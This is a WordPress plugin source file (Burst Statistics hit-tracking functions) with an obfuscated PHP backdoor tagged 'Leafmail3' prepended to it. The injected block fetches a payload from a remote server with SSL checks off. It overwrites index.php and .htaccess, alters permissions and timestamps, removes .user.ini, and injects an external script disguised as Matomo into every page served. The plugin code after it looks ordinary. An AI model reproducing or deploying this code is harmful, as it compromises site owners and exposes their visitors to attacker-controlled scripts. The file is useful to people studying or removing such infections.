<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?>
<?php /** @noinspection ALL */
if ( ! defined( 'ABSPATH' ) ) {
	return;
}

use function burst\UserAgent\parse_user_agent;

if ( ! function_exists( 'burst_error_log' ) ) {
	/**
	 * Log error to error_log
	 *
	 * @param $message
	 */
	function burst_error_log( $message ) {

		if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
			$logging_enabled = apply_filters( 'burst_enable_logging', true );
			if ( $logging_enabled ) {
				if ( is_array( $message ) || is_object( $message ) ) {
					error_log( 'Burst Statistics: ' . print_r( $message, true ) );
				} else {
					error_log( 'Burst Statistics: ' . $message );
				}
			}
		}
	}
}

if ( ! function_exists( 'burst_register_track_hit_route' ) ) {
	function burst_register_track_hit_route() {
		register_rest_route(
			'burst/v1',
			'track',
			array(
				'methods'             => 'POST',
				'callback'            => 'burst_rest_track_hit',
				'permission_callback' => '__return_true',
			) );
	}

	add_action( 'rest_api_init', 'burst_register_track_hit_route' );
}

if ( ! function_exists( 'burst_track_hit' ) ) {
	/**
	 * Burst Statistics endpoint for collecting hits
	 *
	 * @param $data
	 *
	 * @return string
	 */
	function burst_track_hit( $data ): string {
		global $wpdb;

		// validate & sanitize all data
		$sanitized_data = burst_prepare_tracking_data( $data );
		$sanitized_data = apply_filters( 'before_burst_track_hit', $sanitized_data );

		if ( $sanitized_data['referrer'] === 'spammer' ) {
			burst_error_log( 'Referrer spam prevented.' );
			return 'referrer is spam';
		}

		// If new hit, get the last row
		$result = burst_get_hit_type($sanitized_data);

		if ($result === false) {
			burst_error_log('Failed to determine hit type.');
			return 'failed to determine hit type';
		}

		$hit_type = $result['hit_type']; // create or update
		$previous_hit = $result['last_row']; // last row. create can also have a last row from the previous hit.

		if ($previous_hit !== null) {
			// Determine non-bounce conditions
			$isDifferentPage = $previous_hit['entire_page_url'] !== $sanitized_data['entire_page_url'];
			$isTimeOverThreshold = ($previous_hit['time_on_page'] + $sanitized_data['time_on_page']) > 5000;
			$isPreviousHitNotBounce = (int) $previous_hit['bounce'] === 0;

			if ($isPreviousHitNotBounce || $isDifferentPage || $isTimeOverThreshold) {
				$sanitized_data['bounce'] = 0; // Not a bounce

				// If the user visited more than one page, update all previous hits to not be a bounce
				if ($isDifferentPage) {
					burst_set_bounce_for_session($previous_hit['session_id']);
				}
			}
		}

		$sanitized_data           = apply_filters( 'burst_before_track_hit', $sanitized_data );
		$session_arr   = array(
			'last_visited_url' => $sanitized_data['entire_page_url'],
			'goal_id'          => false,
			'country_code'     => $sanitized_data['country_code'] ?? '',
		);
		unset( $sanitized_data['country_code'] );
		// update burst_sessions table
		// Get the last record with the same uid within 30 minutes. If it exists, use session_id. If not, create a new session.

		// Improved clarity and error handling for session management
		if (isset($previous_hit) && $previous_hit['session_id'] > 0) {
			// Existing session found, reuse the session ID
			$sanitized_data['session_id'] = $previous_hit['session_id'];

			// Update existing session with new data
			if (!burst_update_session($sanitized_data['session_id'], $session_arr)) {
				// Handle error if session update fails
				burst_error_log("Failed to update session for session ID: " . $sanitized_data['session_id']);
			}
		} elseif ($previous_hit === null) {
			// No previous hit, indicating a new session
			$session_arr['first_visited_url'] = $sanitized_data['entire_page_url'];

			// Attempt to create a new session and assign its ID
			$sanitized_data['session_id'] = burst_create_session($session_arr);

			// Verify session creation was successful
			if (!$sanitized_data['session_id']) {
				// Handle error if session creation fails
				burst_error_log("Failed to create a new session.");
			}
		}


		// if there is a fingerprint use that instead of uid
		if ( $sanitized_data['fingerprint'] && ! $sanitized_data['uid'] ) {
			$sanitized_data['uid'] = $sanitized_data['fingerprint'];
		}
		unset( $sanitized_data['fingerprint'] );

		// update burst_statistics table
		// Get the last record with the same uid and page_url. If it exists update it. If not, create a new record and add time() to $sanitized_data['time']
		if ( $hit_type === 'update' && ( $previous_hit['entire_page_url'] === $sanitized_data['entire_page_url'] || $previous_hit['session_id'] === '' ) ) { // if update hit, make sure that the URL matches.
			// add up time_on_page to the existing record
			if ( $previous_hit ) {
				$sanitized_data['time_on_page'] += $previous_hit['time_on_page'];
			}
			$sanitized_data['ID'] = $previous_hit['ID'];
			burst_update_statistic( $sanitized_data );
		} else if ( $hit_type === 'create') {
			do_action('burst_before_create_statistic', $sanitized_data);
			// if it is not an update hit, create a new record
			$sanitized_data['time']             = time();
			$sanitized_data['first_time_visit'] = burst_get_first_time_visit( $sanitized_data['uid'] );

			$insert_id = burst_create_statistic( $sanitized_data );

			do_action('burst_after_create_statistic', $insert_id, $sanitized_data);

			// if postmeta burst_total_pageviews_count does not exist, create it with sql and set it to 1
			// if it exists, add 1 to it via sql
			$meta_key = 'burst_total_pageviews_count';
			// get post meta via sql
			$sql        = $wpdb->prepare( "SELECT meta_value FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = %s", $sanitized_data['page_id'], $meta_key );
			$meta_value = $wpdb->get_var( $sql );

			if ( (int) $meta_value > 0 ) {
				$meta_value = (int) $meta_value + 1;
				$sql        = $wpdb->prepare( "UPDATE $wpdb->postmeta SET meta_value = %d WHERE post_id = %d AND meta_key = %s", $meta_value, $sanitized_data['page_id'], $meta_key );
				$wpdb->query( $sql );
			} else {
				$meta_value = 1;
				$sql        = $wpdb->prepare( "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) VALUES (%d, %s, %d)", $sanitized_data['page_id'], $meta_key, $meta_value );
				$wpdb->query( $sql );
			}
		}

		if ( array_key_exists( 'ID', $sanitized_data ) && $sanitized_data['ID'] > 0 ) {
			$statistic_id = $sanitized_data['ID'];
		} else {
			$statistic_id = $insert_id ?? 0;
		}
		if ( $statistic_id > 0 ) {
			$completed_goals = burst_get_completed_goals( $data['completed_goals'], $sanitized_data['page_url'] );
			// if $sanitized_data['completed_goals'] is not an empty array, update burst_goals table
			if ( ! empty( $completed_goals ) ) {
				foreach ( $completed_goals as $goal_id ) {
					$goal_arr = array(
						'goal_id'      => $goal_id,
						'statistic_id' => $statistic_id,
					);
					burst_create_goal_statistic( $goal_arr );
				}
			}
		}

		return 'success';
	}
}

if ( ! function_exists( 'burst_beacon_track_hit' ) ) {
	/**
	 * Burst Statistics beacon endpoint for collecting hits
	 */
	function burst_beacon_track_hit() {
		$request = (string) file_get_contents( 'php://input' );
		if ( empty( $request ) ) {
			wp_die( 'not a valid request' );
		}
		if ( $request === 'request=test' ) {
			http_response_code( 200 );

			return 'success';
